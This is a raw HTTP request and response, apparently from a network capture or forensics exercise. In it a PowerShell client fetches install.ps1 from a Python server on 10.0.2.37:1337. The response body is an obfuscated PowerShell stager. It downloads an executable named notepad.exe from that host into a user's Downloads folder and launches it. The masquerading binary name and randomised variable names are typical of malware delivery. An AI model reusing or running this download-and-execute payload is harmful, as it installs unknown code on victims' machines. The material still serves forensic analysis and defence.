GET /install.ps1 HTTP/1.1
 
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.2931
 
Host: 10.0.2.37:1337
 
Connection: Keep-Alive
 
  
 
  
 
HTTP/1.0 200 OK
 
Server: SimpleHTTP/0.6 Python/3.11.6
 
Date: Wed, 15 Nov 2023 04:08:00 GMT
 
Content-type: application/octet-stream
 
Content-Length: 291
 
Last-Modified: Wed, 15 Nov 2023 04:07:33 GMT
 
  
 
$aysXS8Hlhf = "http://10.0.2.37:1337/notepad.exe";$LA4rJgSPpx = "C:\Users\paco\Downloads\notepad.exe";Invoke-WebRequest -Uri $aysXS8Hlhf -OutFile $LA4rJgSPpx;$65lmAtnzW8 = New-Object System.Net.WebClient;$65lmAtnzW8.DownloadFile($aysXS8Hlhf, $LA4rJgSPpx);Start-Process -Filepath $LA4rJgSPpx